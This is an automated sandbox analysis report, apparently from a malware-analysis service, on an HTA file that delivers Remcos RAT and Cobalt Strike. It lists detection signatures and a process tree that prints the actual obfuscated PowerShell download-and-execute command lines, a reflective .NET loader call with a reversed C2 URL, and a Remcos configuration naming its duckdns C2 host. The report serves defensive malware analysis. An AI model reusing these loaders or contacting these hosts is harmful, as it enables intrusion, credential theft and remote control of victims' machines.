Edit tour
Windows
Analysis Report
seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta
Overview
General Information
Detection
Cobalt Strike, Remcos, HTMLPhisher
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Attempt to bypass Chrome Application-Bound Encryption
Contains functionality to bypass UAC (CMSTPLUA)
Detected Cobalt Strike Beacon
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
AI detected suspicious sample
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found dropped PE file which has not been started or loaded
Found evasive API chain (may stop execution after checking a module file name)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Browser Started with Remote Debugging
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
- mshta.exe (PID: 7528 cmdline:
mshta.exe "C:\Users\ user\Deskt op\seetheb estthingsw hichhappen edentireti mewithgrea ttimebackt ohere.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - powershell.exe (PID: 7628 cmdline:
"C:\Window s\SySTeM32 \wIndOwSpO weRShELl\v 1.0\pOWeRS helL.exe" "PoWeRShel l -E x BY pAss -nop -W 1 - c De vICecrEden TiAlDepLOY MEnT.eXE ; InVoKE- ExPrESsion ($(iNvoKe- exPReSsION ('[SySTEm. TEXT.enCod Ing]'+[CHa R]0X3A+[CH AR]0X3a+'U Tf8.gETsTr ing([SystE m.coNvErt] '+[CHaR]58 +[CHar]58+ 'FroMBasE6 4sTRIng('+ [chAR]0X22 +'JFFVICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg PSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIEFkZC 1UWXBFICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg LU1lbWJlUm RFRklOaXRJ T04gICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAnW0 RsbEltcG9y dCgiVVJMTU 9uLkRMTCIs ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgQ2hhcl NldCA9IENo YXJTZXQuVW 5pY29kZSld cHVibGljIH N0YXRpYyBl eHRlcm4gSW 50UHRyIFVS TERvd25sb2 FkVG9GaWxl KEludFB0ci AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIFNreXNE eixzdHJpbm cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICBmeUF5 YmEsc3RyaW 5nICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgRmZI aEgsdWludC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIHRqYyxJ bnRQdHIgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BPbXF1aGx2 bUJJKTsnIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLU5hTUUg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAid2prT0 94RWxYIiAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IC1uYW1lU3 BhY2UgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBN d3VyICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgLV Bhc3NUaHJ1 OyAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICRRVT o6VVJMRG93 bmxvYWRUb0 ZpbGUoMCwi aHR0cDovLz IzLjk0LjE3 MS4xMzgvMz I5L2NyZWF0 ZXRoZWJlc3 R0aGluZ3N3 aXRoZ29vZH RoaW5nc2Jl c3Rmb3Jncm VhdHRoaW5n c2Zvcm1lZX Zlbmdvb2Qu dElGIiwiJG VuVjpBUFBE QVRBXGNyZW F0ZXRoZWJl c3R0aGluZ3 N3aXRoZ29v ZHRoaW5nc2 Jlc3Rmb3Jn cmVhdHRoaW 5nc2Zvcm1l ZXZlLnZiUy IsMCwwKTtz dGFSVC1zbG VFcCgzKTtp RXggICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAiJG VudjpBUFBE QVRBXGNyZW F0ZXRoZWJl c3R0aGluZ3 N3aXRoZ29v ZHRoaW5nc2 Jlc3Rmb3Jn cmVhdHRoaW 5nc2Zvcm1l ZXZlLnZiUy I='+[chAr] 34+'))'))) " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7640 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7772 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Ex BYpAss -nop -W 1 -c DevICe crEdenTiAl DepLOYMEnT .eXE MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - csc.exe (PID: 7900 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\hzf3qrfx \hzf3qrfx. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 7920 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE SAD4B.tmp" "c:\Users \user\AppD ata\Local\ Temp\hzf3q rfx\CSC9B4 882FB46014 212BEF1C08 D2F6A4AAF. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - wscript.exe (PID: 8028 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\creat ethebestth ingswithgo odthingsbe stforgreat thingsform eeve.vbS" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 8092 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCdzSE5pbW FnZVVybCA9 IGI0Rmh0dH BzOi8vMTAx JysnNy5maW xlbWFpbC5j b20vYXBpL2 ZpbGUvZ2V0 P2ZpbGVrZX k9MkFhX2JX bzlSZXU0NX Q3QlUxa1Zn c2Q5cFQ5cG dTU2x2U3RH cm5USUNmRm htVEtqM0xD NlNRdEljT2 NfVDM1Jysn dyZwa192aW Q9ZmQ0ZjYx NGJiMjA5Yz YyYzE3MzA5 NDUxNycrJz ZhMDkwNGYg YjRGO3NITn dlYkNsJysn aWVudCA9IE 5ldy1PYmpl Y3QgU3lzdG VtLk5ldC5X ZWJDbGllbn Q7cycrJ0hO aW1hZ2VCeX RlcyA9IHNI TndlYkNsaW VudC5Eb3du bG8nKydhZE RhdGEoc0hO aW1hZ2VVcm wpO3NITmlt YWdlVGV4dC A9IFtTeXN0 ZW0uVGV4dC 5FbmNvZGlu Z10nKyc6Ol VURjguR2V0 U3RyaW5nKH NITmltJysn YWdlQnl0ZX MpO3NITnN0 YXJ0RmxhZy A9IGI0Rjw8 QkFTRTY0X1 NUQVJUPj5i NEY7c0hOZW 5kRmxhZyA9 ICcrJ2I0Rj w8QkFTRTY0 X0VORD4+Yj RGO3NITnN0 YXJ0SW5kZX ggPSBzSCcr J05pbWFnZV RlJysneHQu SW5kZXhPZi hzSE5zdGFy dEZsYWcpO3 NITmVuZElu ZCcrJ2V4ID 0gc0hOaW1h Z2VUZXh0Lk luZGV4T2Yo c0hOZW5kRm xhZyk7c0hO c3RhcnRJbm RleCAtZ2Ug MCAtYW5kIH NITmVuZElu ZGV4IC1ndC BzSE5zdGFy dCcrJ0luZG V4O3NITnN0 JysnYXJ0SW 5kZXggKz0g c0hOc3Rhcn RGbGFnJysn Lkxlbmd0aD tzSE5iYXNl JysnNjRMZW 5ndGggPSBz SE5lbmRJbm RleCAtIHNI TnN0YXJ0SW 5kZXg7c0hO YmFzZTY0Q2 9tbWFuZCA9 IHNITicrJ2 knKydtYWdl VGV4dC5TdW JzdHJpbmco c0hOc3Rhcn RJbmRleCwg c0hOYmFzZT Y0TGVuZ3Ro KTtzSE5iYX NlNjRSZXZl cnNlZCA9IC 1qb2luIChz SE5iYXNlNj RDb21tYW5k LlRvQ2hhck FycmF5KCkg czdnIEZvck VhY2gtT2Jq ZWN0IHsgc0 hOXyB9KVst MS4uLShzSE 5iYXNlNjRD b21tYW5kLk xlbmd0aCld O3NITmNvbW 1hbmRCeXRl cyA9IFtTeX N0ZW0uQ29u dmVydF06Ok Zyb21CYXNl NjRTJysndH Jpbmcoc0hO YmEnKydzZT Y0UmV2ZXJz ZWQpO3NITm xvYWRlZEFz c2VtYmx5ID 0gW1N5c3Rl bS5SZWZsZW N0aW9uLkFz c2VtYmx5XT o6TG9hZCcr JyhzSE5jb2 1tYW5kQnl0 ZXMpO3NITn ZhaU1ldGhv ZCA9IFtkbm xpYi5JTy5I b21lXS5HZX RNZXRob2Qo YjRGVkFJYj RGKTtzSE52 YWlNZXRob2 QuSW52bycr J2tlKHNITm 51bGwsIEAo YjRGdHh0Lk VEU1NSRi85 MjMvODMxLj E3MS40OS4z Mi8vOnB0dG hiNEYsIGI0 RmRlc2F0aX ZhZG9iNEYs IGI0RmRlc2 F0aXZhZG9i NCcrJ0YsIG I0RmRlc2F0 aXZhZG9iNE YsIGI0RkNh c1BvbCcrJ2 I0RiwgYjRG ZGVzYXRpdm Fkb2I0Riwg YjRGZGVzYX RpdmFkb2In Kyc0RixiNE ZkZXNhdGl2 YWQnKydvYj RGLGI0RmRl c2F0aXZhZG 9iNEYsYjRG ZGVzYXRpdm Fkb2I0Rixi NEZkZXNhdG l2YWRvYjRG LGI0RmRlc2 F0aXZhZG9i JysnNEYsYj RGMWI0Rixi NEZkZXNhdG l2YWRvYjRG KSk7JykuUk VwbGFDZSgn YjRGJyxbc1 RySW5nXVtD SGFyXTM5KS 5SRXBsYUNl KCdzSE4nLC ckJykuUkVw bGFDZSgncz dnJywnfCcp IHwmICggJF BzaG9tZVs0 XSskUFNIT2 1FWzMwXSsn WCcp';$OWj uxd = [sys tem.Text.e ncoding]:: UTF8.GetSt ring([syst em.Convert ]::Frombas e64String( $codigo)); powershell .exe -wind owstyle hi dden -exec utionpolic y bypass - NoProfile -command $ OWjuxD MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 8100 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 752 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "('sHN imageUrl = b4Fhttps: //101'+'7. filemail.c om/api/fil e/get?file key=2Aa_bW o9Reu45t7B U1kVgsd9pT 9pgSSlvStG rnTICfFhmT Kj3LC6SQtI cOc_T35'+' w&pk_vid=f d4f614bb20 9c62c17309 4517'+'6a0 904f b4F;s HNwebCl'+' ient = New -Object Sy stem.Net.W ebClient;s '+'HNimage Bytes = sH NwebClient .Downlo'+' adData(sHN imageUrl); sHNimageTe xt = [Syst em.Text.En coding]'+' ::UTF8.Get String(sHN im'+'ageBy tes);sHNst artFlag = b4F<<BASE6 4_START>>b 4F;sHNendF lag = '+'b 4F<<BASE64 _END>>b4F; sHNstartIn dex = sH'+ 'NimageTe' +'xt.Index Of(sHNstar tFlag);sHN endInd'+'e x = sHNima geText.Ind exOf(sHNen dFlag);sHN startIndex -ge 0 -an d sHNendIn dex -gt sH Nstart'+'I ndex;sHNst '+'artInde x += sHNst artFlag'+' .Length;sH Nbase'+'64 Length = s HNendIndex - sHNstar tIndex;sHN base64Comm and = sHN' +'i'+'mage Text.Subst ring(sHNst artIndex, sHNbase64L ength);sHN base64Reve rsed = -jo in (sHNbas e64Command .ToCharArr ay() s7g F orEach-Obj ect { sHN_ })[-1..-( sHNbase64C ommand.Len gth)];sHNc ommandByte s = [Syste m.Convert] ::FromBase 64S'+'trin g(sHNba'+' se64Revers ed);sHNloa dedAssembl y = [Syste m.Reflecti on.Assembl y]::Load'+ '(sHNcomma ndBytes);s HNvaiMetho d = [dnlib .IO.Home]. GetMethod( b4FVAIb4F) ;sHNvaiMet hod.Invo'+ 'ke(sHNnul l, @(b4Ftx t.EDSSRF/9 23/831.171 .49.32//:p tthb4F, b4 Fdesativad ob4F, b4Fd esativadob 4'+'F, b4F desativado b4F, b4FCa sPol'+'b4F , b4Fdesat ivadob4F, b4Fdesativ adob'+'4F, b4Fdesativ ad'+'ob4F, b4Fdesativ adob4F,b4F desativado b4F,b4Fdes ativadob4F ,b4Fdesati vadob'+'4F ,b4F1b4F,b 4Fdesativa dob4F));') .REplaCe(' b4F',[sTrI ng][CHar]3 9).REplaCe ('sHN','$' ).REplaCe( 's7g','|') |& ( $Psh ome[4]+$PS HOmE[30]+' X')" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - CasPol.exe (PID: 3276 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Cas Pol.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - chrome.exe (PID: 7332 cmdline:
--user-dat a-dir=C:\U sers\user\ AppData\Lo cal\Temp\T mpUserData --window- position=- 2400,-2400 --remote- debugging- port=9222 --profile- directory= "Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4) - CasPol.exe (PID: 5576 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ca kcgbw" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - CasPol.exe (PID: 3832 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ca kcgbw" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - CasPol.exe (PID: 4136 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\nu pmhthbjzo" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - CasPol.exe (PID: 4520 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\pw ufhlsvxhhy jy" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - CasPol.exe (PID: 6784 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\pw ufhlsvxhhy jy" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - CasPol.exe (PID: 3836 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\pw ufhlsvxhhy jy" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - CasPol.exe (PID: 5168 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\pw ufhlsvxhhy jy" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - CasPol.exe (PID: 7360 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\pw ufhlsvxhhy jy" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - msedge.exe (PID: 1660 cmdline:
--user-dat a-dir=C:\U sers\user\ AppData\Lo cal\Temp\T mpUserData --window- position=- 2400,-2400 --remote- debugging- port=9222 --profile- directory= "Default" MD5: 69222B8101B0601CC6663F8381E7E00F) - msedge.exe (PID: 7772 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --type= utility -- utility-su b-type=net work.mojom .NetworkSe rvice --la ng=en-GB - -service-s andbox-typ e=none --m ojo-platfo rm-channel -handle=21 16 --field -trial-han dle=1972,i ,173972439 7613485023 6,17257031 5852753513 17,262144 /prefetch: 3 MD5: 69222B8101B0601CC6663F8381E7E00F)
- svchost.exe (PID: 7604 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- msedge.exe (PID: 7696 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --windo w-position =-2400,-24 00 --remot e-debuggin g-port=922 2 --profil e-director y=Default --flag-swi tches-begi n --flag-s witches-en d --disabl e-nacl --d o-not-de-e levate MD5: 69222B8101B0601CC6663F8381E7E00F) - msedge.exe (PID: 6952 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --type= utility -- utility-su b-type=net work.mojom .NetworkSe rvice --la ng=en-GB - -service-s andbox-typ e=none --m ojo-platfo rm-channel -handle=21 76 --field -trial-han dle=2108,i ,108276422 710067068, 6062230291 710951248, 262144 /pr efetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F) - msedge.exe (PID: 2324 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --type= utility -- utility-su b-type=ass et_store.m ojom.Asset StoreServi ce --lang= en-GB --se rvice-sand box-type=a sset_store _service - -mojo-plat form-chann el-handle= 6784 --fie ld-trial-h andle=2108 ,i,1082764 2271006706 8,60622302 9171095124 8,262144 / prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F) - msedge.exe (PID: 3220 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --type= utility -- utility-su b-type=ent ity_extrac tion_servi ce.mojom.E xtractor - -lang=en-G B --servic e-sandbox- type=entit y_extracti on --onnx- enabled-fo r-ee --moj o-platform -channel-h andle=6888 --field-t rial-handl e=2108,i,1 0827642271 0067068,60 6223029171 0951248,26 2144 /pref etch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": ["nextnewupdationsforu.duckdns.org:14645:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-EC111K", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 17 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 7 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
---|
Source: | Author: Florian Roth (Nextron Systems): |